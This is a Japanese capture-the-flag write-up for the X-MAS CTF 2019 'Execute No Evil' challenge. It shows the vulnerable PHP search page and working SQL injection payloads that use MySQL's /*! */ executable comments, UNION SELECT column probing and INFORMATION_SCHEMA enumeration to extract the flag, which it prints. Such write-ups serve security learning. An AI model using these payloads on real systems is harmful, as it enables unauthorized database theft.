X-MAS CTF 2019 - Execute No Evil
X-MAS CTF 2019のWriteupです.問題の内容は典型的なSQLiですが,SQLのコメントアウトの仕様を新たに知ったので,その共有も兼ねて投稿.
Question
Solution
http://challs.xmas.htsp.ro:11002
は次のようなサイトです.
試しに適当な入力を入れると1個のレコードが表示されました.
ソースを見ると<!-- ?source=1 -->
というコメントがあるので.http://challs.xmas.htsp.ro:11002/?source=1
にアクセスするとサイトのソースが表示されました.
<?php if (isset ($_GET['source'])) { show_source ("index.php"); die (); } ?> <head> <link rel="stylesheet" type="text/css" href="style.css"> </head> <body> <form class="center"> <h2>Cobalt Inc. employee database search</h2> <label>Name:</label> <input type="text" name="name" autocomplete="off"> <input type="submit" value="Search"> </form> <br> <!-- ?source=1 --> <?php include ("config.php"); $conn = new mysqli ($servername, $username, $password, $dbname); if (isset ($_GET['name'])) { $name = $_GET['name']; $name = str_replace ("*", "", $name); $records = mysqli_query ($conn, "SELECT * FROM users WHERE name=/*" . $name . "*/ 'Geronimo'", MYSQLI_USE_RESULT); // Don't tell boss if ($records === false) { die ("<p>Our servers have run into a query error. Please try again later.</p>"); } echo '<table>'; echo ' <tr> <th>Name</th> <th>Description</th> </tr>'; while ($row = mysqli_fetch_array ($records, MYSQLI_ASSOC)) { echo '<tr> <td>',$row["name"],'</td> <td>',$row["description"],'</td> </tr>'; } echo '</table>'; } ?> </body>
$records = mysqli_query ($conn, "SELECT * FROM users WHERE name=/*" . $name . "*/ 'Geronimo'", MYSQLI_USE_RESULT);
において,SQL文に変数がそのまま結合されているため,ここに任意の処理を追加することが出来そうです.
しかし,前後の/*
,*/
でコメントアウトされてしまいます.このコメントアウトを回避する方法として真っ先に思いつくのは~~ */ ~~
のように入力内でコメントを終わらせる方法ですが,これは$name = str_replace ("*", "", $name);
によって防がれています.このコメントアウトを回避することは出来ないでしょうか?
MySQL :: MySQL 5.6 リファレンスマニュアル :: 9.6 コメントの構文を確認すると,/*! ~~~ */
と書いたときはmysqlではコメントアウトされずに実行されるようです.これを利用することでSQLiが出来ます.
まずはusers
テーブルの全レコードを表示してみます.! '' or 1 !=
を入力することで全レコードを取得できますが,users
テーブルにはGeronimoのレコードしかないようです.
ではusers
以外のテーブルを探してみます.mysqlが使われているのでINFORMATION_SCHEMA.COLUMNS
テーブルを調べることでDB内のテーブル一覧を取得できます.! '' union select * from INFORMATION_SCHEMA.COLUMNS where 1 !=
で取得できそうな気がしますが,エラーが出ます.
これはunion
の前後で取得しているカラム数が異なるからです.まずはSELECT * FROM users
で取得されるカラム数を知る必要があります. 調べる方法はかなり泥臭く,! '' union select 0, 0 from users where 1 !=
の0の個数を増やしていって,エラーが無くなるかで判断します.今回は! '' union select 0, 0, 0 from users where 1 !=
のときエラーが出なかったので,カラム数は3つです.
カラム数が分かったので,改めてテーブル一覧を取得しましょう.INFORMATION_SCHEMA.COLUMNS
テーブルのTABLE_NAME
にはテーブル名,COLUMN_NAME
にはカラム名が入っているので,これらを表示させます.! '' union select 0, TABLE_NAME, COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where 1 !=
を入力するとテーブル一覧とそのテーブルのカラム一覧が出ました.(画像は問題に関係のあるテーブルのみ抜粋)
! '' union select 0, whatsthis, 0 from flag where 1 !=
でflag
テーブルの中身を取得します.
フラグを取得できました.
Flag:X-MAS{What?__But_1_Th0ught_Comments_dont_3x3cvt3:(}